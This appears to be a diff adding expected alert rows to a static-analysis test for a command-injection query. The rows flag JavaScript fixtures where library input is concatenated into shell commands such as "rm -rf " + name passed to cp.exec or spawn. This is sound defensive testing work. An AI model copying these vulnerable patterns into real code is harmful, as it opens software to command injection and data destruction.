+| lib/lib2.js:8:10:8:25 | "rm -rf " + name | lib/lib2.js:7:32:7:35 | name | lib/lib2.js:8:22:8:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib2.js:7:32:7:35 | name | library input | lib/lib2.js:8:2:8:26 | cp.exec ... + name) | shell command |
+| lib/lib.js:4:10:4:25 | "rm -rf " + name | lib/lib.js:3:33:3:36 | name | lib/lib.js:4:22:4:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:3:33:3:36 | name | library input | lib/lib.js:4:2:4:26 | cp.exec ... + name) | shell command |
+| lib/lib.js:11:10:11:25 | "rm -rf " + name | lib/lib.js:10:32:10:35 | name | lib/lib.js:11:22:11:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:10:32:10:35 | name | library input | lib/lib.js:11:2:11:26 | cp.exec ... + name) | shell command |
+| lib/lib.js:15:10:15:25 | "rm -rf " + name | lib/lib.js:14:36:14:39 | name | lib/lib.js:15:22:15:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:14:36:14:39 | name | library input | lib/lib.js:15:2:15:26 | cp.exec ... + name) | shell command |
+| lib/lib.js:20:10:20:25 | "rm -rf " + name | lib/lib.js:19:34:19:37 | name | lib/lib.js:20:22:20:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:19:34:19:37 | name | library input | lib/lib.js:20:2:20:26 | cp.exec ... + name) | shell command |
+| lib/lib.js:27:10:27:25 | "rm -rf " + name | lib/lib.js:26:35:26:38 | name | lib/lib.js:27:22:27:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:26:35:26:38 | name | library input | lib/lib.js:27:2:27:26 | cp.exec ... + name) | shell command |
+| lib/lib.js:35:11:35:26 | "rm -rf " + name | lib/lib.js:34:14:34:17 | name | lib/lib.js:35:23:35:26 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:34:14:34:17 | name | library input | lib/lib.js:35:3:35:27 | cp.exec ... + name) | shell command |
+| lib/lib.js:38:11:38:26 | "rm -rf " + name | lib/lib.js:37:13:37:16 | name | lib/lib.js:38:23:38:26 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:37:13:37:16 | name | library input | lib/lib.js:38:3:38:27 | cp.exec ... + name) | shell command |
+| lib/lib.js:41:11:41:26 | "rm -rf " + name | lib/lib.js:40:6:40:9 | name | lib/lib.js:41:23:41:26 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:40:6:40:9 | name | library input | lib/lib.js:41:3:41:27 | cp.exec ... + name) | shell command |
+| lib/lib.js:50:35:50:50 | "rm -rf " + name | lib/lib.js:49:31:49:34 | name | lib/lib.js:50:47:50:50 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:49:31:49:34 | name | library input | lib/lib.js:50:2:50:51 | require ... + name) | shell command |
+| lib/lib.js:54:13:54:28 | "rm -rf " + name | lib/lib.js:53:33:53:36 | name | lib/lib.js:54:25:54:28 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:53:33:53:36 | name | library input | lib/lib.js:55:2:55:14 | cp.exec(cmd1) | shell command |
+| lib/lib.js:57:13:57:28 | "rm -rf " + name | lib/lib.js:53:33:53:36 | name | lib/lib.js:57:25:57:28 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:53:33:53:36 | name | library input | lib/lib.js:59:3:59:14 | cp.exec(cmd) | shell command |
+| lib/lib.js:65:10:65:25 | "rm -rf " + name | lib/lib.js:64:41:64:44 | name | lib/lib.js:65:22:65:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:64:41:64:44 | name | library input | lib/lib.js:65:2:65:26 | cp.exec ... + name) | shell command |
+| lib/lib.js:69:10:69:47 | "for fo ... la end" | lib/lib.js:64:41:64:44 | name | lib/lib.js:69:27:69:30 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:64:41:64:44 | name | library input | lib/lib.js:69:2:69:48 | cp.exec ... a end") | shell command |
+| lib/lib.js:71:10:71:31 | "cat /f ...  + name | lib/lib.js:64:41:64:44 | name | lib/lib.js:71:28:71:31 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:64:41:64:44 | name | library input | lib/lib.js:71:2:71:32 | cp.exec ... + name) | shell command |
+| lib/lib.js:73:10:73:31 | "cat \\" ...  + "\\"" | lib/lib.js:64:41:64:44 | name | lib/lib.js:73:21:73:24 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:64:41:64:44 | name | library input | lib/lib.js:73:2:73:32 | cp.exec ... + "\\"") | shell command |
+| lib/lib.js:75:10:75:29 | "cat '" + name + "'" | lib/lib.js:64:41:64:44 | name | lib/lib.js:75:20:75:23 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:64:41:64:44 | name | library input | lib/lib.js:75:2:75:30 | cp.exec ...  + "'") | shell command |
+| lib/lib.js:77:10:77:37 | "cat '/ ... e + "'" | lib/lib.js:64:41:64:44 | name | lib/lib.js:77:28:77:31 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:64:41:64:44 | name | library input | lib/lib.js:77:2:77:38 | cp.exec ...  + "'") | shell command |
+| lib/lib.js:83:10:83:25 | "rm -rf " + name | lib/lib.js:82:35:82:38 | name | lib/lib.js:83:22:83:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:82:35:82:38 | name | library input | lib/lib.js:83:2:83:26 | cp.exec ... + name) | shell command |
+| lib/lib.js:86:13:86:16 | name | lib/lib.js:82:35:82:38 | name | lib/lib.js:86:13:86:16 | name | This array element which depends on $@ is later used in a $@. | lib/lib.js:82:35:82:38 | name | library input | lib/lib.js:87:2:87:25 | cp.exec ... n(" ")) | shell command |
+| lib/lib.js:89:21:89:24 | name | lib/lib.js:82:35:82:38 | name | lib/lib.js:89:21:89:24 | name | This array element which depends on $@ is later used in a $@. | lib/lib.js:82:35:82:38 | name | library input | lib/lib.js:89:2:89:36 | cp.exec ... n(" ")) | shell command |
+| lib/lib.js:91:21:91:38 | "\\"" + name + "\\"" | lib/lib.js:82:35:82:38 | name | lib/lib.js:91:21:91:38 | "\\"" + name + "\\"" | This array element which depends on $@ is later used in a $@. | lib/lib.js:82:35:82:38 | name | library input | lib/lib.js:91:2:91:50 | cp.exec ... n(" ")) | shell command |
+| lib/lib.js:98:35:98:38 | name | lib/lib.js:97:35:97:38 | name | lib/lib.js:98:35:98:38 | name | This formatted string which depends on $@ is later used in a $@. | lib/lib.js:97:35:97:38 | name | library input | lib/lib.js:98:2:98:40 | cp.exec ...  name)) | shell command |
+| lib/lib.js:100:37:100:40 | name | lib/lib.js:97:35:97:38 | name | lib/lib.js:100:37:100:40 | name | This formatted string which depends on $@ is later used in a $@. | lib/lib.js:97:35:97:38 | name | library input | lib/lib.js:100:2:100:42 | cp.exec ...  name)) | shell command |
+| lib/lib.js:102:46:102:49 | name | lib/lib.js:97:35:97:38 | name | lib/lib.js:102:46:102:49 | name | This formatted string which depends on $@ is later used in a $@. | lib/lib.js:97:35:97:38 | name | library input | lib/lib.js:102:2:102:51 | cp.exec ...  name)) | shell command |
+| lib/lib.js:108:41:108:44 | name | lib/lib.js:97:35:97:38 | name | lib/lib.js:108:41:108:44 | name | This formatted string which depends on $@ is later used in a $@. | lib/lib.js:97:35:97:38 | name | library input | lib/lib.js:108:2:108:46 | cp.exec ...  name)) | shell command |
+| lib/lib.js:112:10:112:25 | "rm -rf " + name | lib/lib.js:111:34:111:37 | name | lib/lib.js:112:22:112:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:111:34:111:37 | name | library input | lib/lib.js:112:2:112:26 | cp.exec ... + name) | shell command |
+| lib/lib.js:121:10:121:25 | "rm -rf " + name | lib/lib.js:120:33:120:36 | name | lib/lib.js:121:22:121:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:120:33:120:36 | name | library input | lib/lib.js:121:2:121:26 | cp.exec ... + name) | shell command |
+| lib/lib.js:131:11:131:26 | "rm -rf " + name | lib/lib.js:130:6:130:9 | name | lib/lib.js:131:23:131:26 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:130:6:130:9 | name | library input | lib/lib.js:131:3:131:27 | cp.exec ... + name) | shell command |
+| lib/lib.js:149:12:149:27 | "rm -rf " + name | lib/lib.js:148:37:148:40 | name | lib/lib.js:149:24:149:27 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:148:37:148:40 | name | library input | lib/lib.js:152:2:152:23 | cp.spaw ... gs, cb) | shell command |
+| lib/lib.js:161:13:161:28 | "rm -rf " + name | lib/lib.js:155:38:155:41 | name | lib/lib.js:161:25:161:28 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:155:38:155:41 | name | library input | lib/lib.js:163:2:167:2 | cp.spaw ... t' }\\n\\t) | shell command |
+| lib/lib.js:173:10:173:23 | "fo \| " + name | lib/lib.js:170:41:170:44 | name | lib/lib.js:173:20:173:23 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:170:41:170:44 | name | library input | lib/lib.js:173:2:173:24 | cp.exec ... + name) | shell command |
+| lib/lib.js:181:15:181:52 | "'" + n ... ) + "'" | lib/lib.js:177:38:177:41 | name | lib/lib.js:181:21:181:46 | name.re ... "'\\''") | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:177:38:177:41 | name | library input | lib/lib.js:182:2:182:28 | cp.exec ... broken) | shell command |
+| lib/lib.js:182:10:182:27 | "rm -rf " + broken | lib/lib.js:177:38:177:41 | name | lib/lib.js:182:22:182:27 | broken | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:177:38:177:41 | name | library input | lib/lib.js:182:2:182:28 | cp.exec ... broken) | shell command |
+| lib/lib.js:187:10:187:25 | "rm -rf " + name | lib/lib.js:186:34:186:37 | name | lib/lib.js:187:22:187:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:186:34:186:37 | name | library input | lib/lib.js:187:2:187:26 | cp.exec ... + name) | shell command |
+| lib/lib.js:190:11:190:26 | "rm -rf " + name | lib/lib.js:186:34:186:37 | name | lib/lib.js:190:23:190:26 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:186:34:186:37 | name | library input | lib/lib.js:190:3:190:27 | cp.exec ... + name) | shell command |
+| lib/lib.js:197:10:197:25 | "rm -rf " + name | lib/lib.js:196:45:196:48 | name | lib/lib.js:197:22:197:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:196:45:196:48 | name | library input | lib/lib.js:197:2:197:26 | cp.exec ... + name) | shell command |
+| lib/lib.js:200:11:200:26 | "rm -rf " + name | lib/lib.js:196:45:196:48 | name | lib/lib.js:200:23:200:26 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:196:45:196:48 | name | library input | lib/lib.js:200:3:200:27 | cp.exec ... + name) | shell command |
+| lib/lib.js:207:10:207:25 | "rm -rf " + name | lib/lib.js:206:45:206:48 | name | lib/lib.js:207:22:207:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:206:45:206:48 | name | library input | lib/lib.js:207:2:207:26 | cp.exec ... + name) | shell command |
+| lib/lib.js:212:11:212:26 | "rm -rf " + name | lib/lib.js:206:45:206:48 | name | lib/lib.js:212:23:212:26 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:206:45:206:48 | name | library input | lib/lib.js:212:3:212:27 | cp.exec ... + name) | shell command |
+| lib/lib.js:217:10:217:25 | "rm -rf " + name | lib/lib.js:216:39:216:42 | name | lib/lib.js:217:22:217:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:216:39:216:42 | name | library input | lib/lib.js:217:2:217:26 | cp.exec ... + name) | shell command |
+| lib/lib.js:220:11:220:26 | "rm -rf " + name | lib/lib.js:216:39:216:42 | name | lib/lib.js:220:23:220:26 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:216:39:216:42 | name | library input | lib/lib.js:220:3:220:27 | cp.exec ... + name) | shell command |
+| lib/lib.js:224:10:224:25 | "rm -rf " + name | lib/lib.js:216:39:216:42 | name | lib/lib.js:224:22:224:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:216:39:216:42 | name | library input | lib/lib.js:224:2:224:26 | cp.exec ... + name) | shell command |
+| lib/lib.js:228:10:228:25 | "rm -rf " + name | lib/lib.js:227:39:227:42 | name | lib/lib.js:228:22:228:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:227:39:227:42 | name | library input | lib/lib.js:228:2:228:26 | cp.exec ... + name) | shell command |
+| lib/lib.js:236:10:236:25 | "rm -rf " + name | lib/lib.js:227:39:227:42 | name | lib/lib.js:236:22:236:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:227:39:227:42 | name | library input | lib/lib.js:236:2:236:26 | cp.exec ... + name) | shell command |
+| lib/lib.js:249:10:249:25 | "rm -rf " + name | lib/lib.js:248:42:248:45 | name | lib/lib.js:249:22:249:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:248:42:248:45 | name | library input | lib/lib.js:249:2:249:26 | cp.exec ... + name) | shell command |
+| lib/lib.js:253:10:253:28 | "rm -rf " + cleaned | lib/lib.js:248:42:248:45 | name | lib/lib.js:253:22:253:28 | cleaned | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:248:42:248:45 | name | library input | lib/lib.js:253:2:253:29 | cp.exec ... leaned) | shell command |
+| lib/lib.js:258:10:258:25 | "rm -rf " + name | lib/lib.js:257:35:257:38 | name | lib/lib.js:258:22:258:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:257:35:257:38 | name | library input | lib/lib.js:258:2:258:26 | cp.exec ... + name) | shell command |
+| lib/lib.js:261:11:261:33 | "rm -rf ...  + name | lib/lib.js:257:35:257:38 | name | lib/lib.js:261:30:261:33 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:257:35:257:38 | name | library input | lib/lib.js:261:3:261:34 | cp.exec ... + name) | shell command |
+| lib/lib.js:268:10:268:32 | "rm -rf ... version | lib/lib.js:267:46:267:48 | obj | lib/lib.js:268:22:268:32 | obj.version | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:267:46:267:48 | obj | library input | lib/lib.js:268:2:268:33 | cp.exec ... ersion) | shell command |
+| lib/lib.js:277:11:277:30 | "rm -rf " + opts.bla | lib/lib.js:276:8:276:11 | opts | lib/lib.js:277:23:277:30 | opts.bla | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:276:8:276:11 | opts | library input | lib/lib.js:277:3:277:31 | cp.exec ... ts.bla) | shell command |
+| lib/lib.js:281:11:281:35 | "rm -rf ... pts.bla | lib/lib.js:276:8:276:11 | opts | lib/lib.js:281:23:281:35 | this.opts.bla | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:276:8:276:11 | opts | library input | lib/lib.js:281:3:281:36 | cp.exec ... ts.bla) | shell command |
+| lib/lib.js:308:11:308:26 | "rm -rf " + name | lib/lib.js:307:39:307:42 | name | lib/lib.js:308:23:308:26 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:307:39:307:42 | name | library input | lib/lib.js:308:3:308:27 | cp.exec ... + name) | shell command |
+| lib/lib.js:315:10:315:25 | "rm -rf " + name | lib/lib.js:314:40:314:43 | name | lib/lib.js:315:22:315:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:314:40:314:43 | name | library input | lib/lib.js:315:2:315:26 | cp.exec ... + name) | shell command |
+| lib/lib.js:320:11:320:26 | "rm -rf " + name | lib/lib.js:314:40:314:43 | name | lib/lib.js:320:23:320:26 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:314:40:314:43 | name | library input | lib/lib.js:320:3:320:27 | cp.exec ... + name) | shell command |
+| lib/lib.js:325:12:325:51 | "MyWind ... " + arg | lib/lib.js:324:40:324:42 | arg | lib/lib.js:325:49:325:51 | arg | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:324:40:324:42 | arg | library input | lib/lib.js:326:2:326:13 | cp.exec(cmd) | shell command |
+| lib/lib.js:340:10:340:26 | "rm -rf " + id(n) | lib/lib.js:339:39:339:39 | n | lib/lib.js:340:22:340:26 | id(n) | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:339:39:339:39 | n | library input | lib/lib.js:340:2:340:27 | cp.exec ...  id(n)) | shell command |
+| lib/lib.js:351:10:351:27 | "rm -rf " + unsafe | lib/lib.js:349:29:349:34 | unsafe | lib/lib.js:351:22:351:27 | unsafe | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:349:29:349:34 | unsafe | library input | lib/lib.js:351:2:351:28 | cp.exec ... unsafe) | shell command |
+| lib/lib.js:406:10:406:25 | "rm -rf " + name | lib/lib.js:405:39:405:42 | name | lib/lib.js:406:22:406:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:405:39:405:42 | name | library input | lib/lib.js:406:2:406:26 | cp.exec ... + name) | shell command |
+| lib/lib.js:415:10:415:25 | "rm -rf " + name | lib/lib.js:414:40:414:43 | name | lib/lib.js:415:22:415:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:414:40:414:43 | name | library input | lib/lib.js:415:2:415:26 | cp.exec ... + name) | shell command |
+| lib/lib.js:417:28:417:31 | name | lib/lib.js:414:40:414:43 | name | lib/lib.js:417:28:417:31 | name | This shell argument which depends on $@ is later used in a $@. | lib/lib.js:414:40:414:43 | name | library input | lib/lib.js:417:2:417:66 | cp.exec ...  => {}) | shell command |
+| lib/lib.js:418:25:418:28 | name | lib/lib.js:414:40:414:43 | name | lib/lib.js:418:25:418:28 | name | This shell argument which depends on $@ is later used in a $@. | lib/lib.js:414:40:414:43 | name | library input | lib/lib.js:418:2:418:45 | cp.spaw ...  true}) | shell command |
+| lib/lib.js:419:32:419:35 | name | lib/lib.js:414:40:414:43 | name | lib/lib.js:419:32:419:35 | name | This shell argument which depends on $@ is later used in a $@. | lib/lib.js:414:40:414:43 | name | library input | lib/lib.js:419:2:419:52 | cp.exec ...  true}) | shell command |
+| lib/lib.js:420:29:420:32 | name | lib/lib.js:414:40:414:43 | name | lib/lib.js:420:29:420:32 | name | This shell argument which depends on $@ is later used in a $@. | lib/lib.js:414:40:414:43 | name | library input | lib/lib.js:420:2:420:49 | cp.spaw ...  true}) | shell command |
+| lib/lib.js:424:24:424:27 | name | lib/lib.js:414:40:414:43 | name | lib/lib.js:424:24:424:27 | name | This shell argument which depends on $@ is later used in a $@. | lib/lib.js:414:40:414:43 | name | library input | lib/lib.js:424:2:424:40 | spawn(" ... WN_OPT) | shell command |
+| lib/lib.js:426:11:426:14 | name | lib/lib.js:414:40:414:43 | name | lib/lib.js:426:11:426:14 | name | This shell argument which depends on $@ is later used in a $@. | lib/lib.js:414:40:414:43 | name | library input | lib/lib.js:427:2:427:28 | spawn(" ... WN_OPT) | shell command |
+| lib/lib.js:427:14:427:16 | arr | lib/lib.js:414:40:414:43 | name | lib/lib.js:427:14:427:16 | arr | This shell argument which depends on $@ is later used in a $@. | lib/lib.js:414:40:414:43 | name | library input | lib/lib.js:427:2:427:28 | spawn(" ... WN_OPT) | shell command |
+| lib/lib.js:428:14:428:58 | build(" ...  + '-') | lib/lib.js:414:40:414:43 | name | lib/lib.js:428:14:428:58 | build(" ...  + '-') | This shell argument which depends on $@ is later used in a $@. | lib/lib.js:414:40:414:43 | name | library input | lib/lib.js:428:2:428:70 | spawn(" ... WN_OPT) | shell command |
+| lib/lib.js:436:19:436:22 | last | lib/lib.js:414:40:414:43 | name | lib/lib.js:436:19:436:22 | last | This shell argument which depends on $@ is later used in a $@. | lib/lib.js:414:40:414:43 | name | library input | lib/lib.js:428:2:428:70 | spawn(" ... WN_OPT) | shell command |
+| lib/lib.js:442:12:442:27 | "rm -rf " + name | lib/lib.js:441:39:441:42 | name | lib/lib.js:442:24:442:27 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:441:39:441:42 | name | library input | lib/lib.js:442:2:442:28 | asyncEx ... + name) | shell command |
+| lib/lib.js:447:13:447:28 | "rm -rf " + name | lib/lib.js:446:20:446:23 | name | lib/lib.js:447:25:447:28 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:446:20:446:23 | name | library input | lib/lib.js:447:3:447:29 | asyncEx ... + name) | shell command |
+| lib/lib.js:478:27:478:46 | config.installedPath | lib/lib.js:477:39:477:44 | config | lib/lib.js:478:27:478:46 | config.installedPath | This path concatenation which depends on $@ is later used in a $@. | lib/lib.js:477:39:477:44 | config | library input | lib/lib.js:479:12:479:20 | exec(cmd) | shell command |
+| lib/lib.js:483:13:483:33 | ' my na ...  + name | lib/lib.js:482:40:482:43 | name | lib/lib.js:483:30:483:33 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:482:40:482:43 | name | library input | lib/lib.js:485:2:485:20 | cp.exec(cmd + args) | shell command |
+| lib/lib.js:499:19:499:34 | "rm -rf " + name | lib/lib.js:498:45:498:48 | name | lib/lib.js:499:31:499:34 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:498:45:498:48 | name | library input | lib/lib.js:499:3:499:35 | MyThing ... + name) | shell command |
+| lib/lib.js:510:10:510:25 | "rm -rf " + name | lib/lib.js:509:39:509:42 | name | lib/lib.js:510:22:510:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:509:39:509:42 | name | library input | lib/lib.js:510:2:510:26 | cp.exec ... + name) | shell command |
+| lib/lib.js:513:11:513:26 | "rm -rf " + name | lib/lib.js:509:39:509:42 | name | lib/lib.js:513:23:513:26 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:509:39:509:42 | name | library input | lib/lib.js:513:3:513:27 | cp.exec ... + name) | shell command |
+| lib/lib.js:519:11:519:26 | "rm -rf " + name | lib/lib.js:509:39:509:42 | name | lib/lib.js:519:23:519:26 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:509:39:509:42 | name | library input | lib/lib.js:519:3:519:27 | cp.exec ... + name) | shell command |
+| lib/lib.js:525:11:525:26 | "rm -rf " + name | lib/lib.js:509:39:509:42 | name | lib/lib.js:525:23:525:26 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:509:39:509:42 | name | library input | lib/lib.js:525:3:525:27 | cp.exec ... + name) | shell command |
+| lib/lib.js:531:11:531:26 | "rm -rf " + name | lib/lib.js:509:39:509:42 | name | lib/lib.js:531:23:531:26 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:509:39:509:42 | name | library input | lib/lib.js:531:3:531:27 | cp.exec ... + name) | shell command |
+| lib/lib.js:537:11:537:26 | "rm -rf " + name | lib/lib.js:509:39:509:42 | name | lib/lib.js:537:23:537:26 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:509:39:509:42 | name | library input | lib/lib.js:537:3:537:27 | cp.exec ... + name) | shell command |
+| lib/lib.js:543:11:543:26 | "rm -rf " + name | lib/lib.js:509:39:509:42 | name | lib/lib.js:543:23:543:26 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:509:39:509:42 | name | library input | lib/lib.js:543:3:543:27 | cp.exec ... + name) | shell command |
+| lib/lib.js:545:11:545:26 | "rm -rf " + name | lib/lib.js:509:39:509:42 | name | lib/lib.js:545:23:545:26 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:509:39:509:42 | name | library input | lib/lib.js:545:3:545:27 | cp.exec ... + name) | shell command |
+| lib/lib.js:552:23:552:26 | args | lib/lib.js:550:39:550:42 | name | lib/lib.js:552:23:552:26 | args | This shell argument which depends on $@ is later used in a $@. | lib/lib.js:550:39:550:42 | name | library input | lib/lib.js:552:9:552:38 | cp.spaw ... wnOpts) | shell command |
+| lib/lib.js:555:33:555:36 | name | lib/lib.js:550:39:550:42 | name | lib/lib.js:555:33:555:36 | name | This shell argument which depends on $@ is later used in a $@. | lib/lib.js:550:39:550:42 | name | library input | lib/lib.js:552:9:552:38 | cp.spaw ... wnOpts) | shell command |
+| lib/lib.js:560:14:560:29 | "rm -rf " + name | lib/lib.js:558:41:558:44 | name | lib/lib.js:560:26:560:29 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:558:41:558:44 | name | library input | lib/lib.js:560:9:560:30 | exec("r ... + name) | shell command |
+| lib/lib.js:562:14:562:29 | "rm -rf " + name | lib/lib.js:558:41:558:44 | name | lib/lib.js:562:26:562:29 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:558:41:558:44 | name | library input | lib/lib.js:562:9:562:30 | exec("r ... + name) | shell command |
+| lib/lib.js:566:14:566:29 | "rm -rf " + name | lib/lib.js:558:41:558:44 | name | lib/lib.js:566:26:566:29 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:558:41:558:44 | name | library input | lib/lib.js:566:9:566:30 | exec("r ... + name) | shell command |
+| lib/lib.js:573:10:573:25 | "rm -rf " + name | lib/lib.js:572:41:572:44 | name | lib/lib.js:573:22:573:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:572:41:572:44 | name | library input | lib/lib.js:573:2:573:26 | cp.exec ... + name) | shell command |
+| lib/lib.js:579:13:579:28 | "rm -rf " + name | lib/lib.js:572:41:572:44 | name | lib/lib.js:579:25:579:28 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:572:41:572:44 | name | library input | lib/lib.js:579:5:579:29 | cp.exec ... + name) | shell command |
+| lib/lib.js:590:17:590:32 | "rm -rf " + name | lib/lib.js:572:41:572:44 | name | lib/lib.js:590:29:590:32 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:572:41:572:44 | name | library input | lib/lib.js:590:9:590:33 | cp.exec ... + name) | shell command |
+| lib/lib.js:593:13:593:28 | "rm -rf " + name | lib/lib.js:572:41:572:44 | name | lib/lib.js:593:25:593:28 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:572:41:572:44 | name | library input | lib/lib.js:593:5:593:29 | cp.exec ... + name) | shell command |
+| lib/lib.js:609:10:609:25 | "rm -rf " + name | lib/lib.js:608:42:608:45 | name | lib/lib.js:609:22:609:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:608:42:608:45 | name | library input | lib/lib.js:609:2:609:26 | cp.exec ... + name) | shell command |
+| lib/lib.js:626:17:626:32 | "rm -rf " + name | lib/lib.js:608:42:608:45 | name | lib/lib.js:626:29:626:32 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:608:42:608:45 | name | library input | lib/lib.js:626:9:626:33 | cp.exec ... + name) | shell command |
+| lib/lib.js:629:13:629:28 | "rm -rf " + name | lib/lib.js:608:42:608:45 | name | lib/lib.js:629:25:629:28 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:608:42:608:45 | name | library input | lib/lib.js:629:5:629:29 | cp.exec ... + name) | shell command |
+| lib/lib.js:633:18:633:68 | "'" + n ... ) + "'" | lib/lib.js:632:38:632:41 | name | lib/lib.js:633:24:633:62 | name.re ... '\\\\''") | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:632:38:632:41 | name | library input | lib/lib.js:634:2:634:31 | cp.exec ... itized) | shell command |
+| lib/lib.js:634:10:634:30 | "rm -rf ... nitized | lib/lib.js:632:38:632:41 | name | lib/lib.js:634:22:634:30 | sanitized | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:632:38:632:41 | name | library input | lib/lib.js:634:2:634:31 | cp.exec ... itized) | shell command |
+| lib/subLib2/compiled-file.ts:4:13:4:28 | "rm -rf " + name | lib/subLib2/compiled-file.ts:3:26:3:29 | name | lib/subLib2/compiled-file.ts:4:25:4:28 | name | This string concatenation which depends on $@ is later used in a $@. | lib/subLib2/compiled-file.ts:3:26:3:29 | name | library input | lib/subLib2/compiled-file.ts:4:5:4:29 | cp.exec ... + name) | shell command |
+| lib/subLib2/special-file.js:4:10:4:25 | "rm -rf " + name | lib/subLib2/special-file.js:3:28:3:31 | name | lib/subLib2/special-file.js:4:22:4:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/subLib2/special-file.js:3:28:3:31 | name | library input | lib/subLib2/special-file.js:4:2:4:26 | cp.exec ... + name) | shell command |
+| lib/subLib3/my-file.ts:4:10:4:25 | "rm -rf " + name | lib/subLib3/my-file.ts:3:28:3:31 | name | lib/subLib3/my-file.ts:4:22:4:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/subLib3/my-file.ts:3:28:3:31 | name | library input | lib/subLib3/my-file.ts:4:2:4:26 | cp.exec ... + name) | shell command |
+| lib/subLib4/subsub.js:4:10:4:25 | "rm -rf " + name | lib/subLib4/index.js:6:32:6:35 | name | lib/subLib4/subsub.js:4:22:4:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/subLib4/index.js:6:32:6:35 | name | library input | lib/subLib4/subsub.js:4:2:4:26 | cp.exec ... + name) | shell command |
+| lib/subLib/amdSub.js:4:10:4:25 | "rm -rf " + name | lib/subLib/amdSub.js:3:28:3:31 | name | lib/subLib/amdSub.js:4:22:4:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/subLib/amdSub.js:3:28:3:31 | name | library input | lib/subLib/amdSub.js:4:2:4:26 | cp.exec ... + name) | shell command |
+| lib/subLib/index.js:4:10:4:25 | "rm -rf " + name | lib/subLib/index.js:3:28:3:31 | name | lib/subLib/index.js:4:22:4:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/subLib/index.js:3:28:3:31 | name | library input | lib/subLib/index.js:4:2:4:26 | cp.exec ... + name) | shell command |
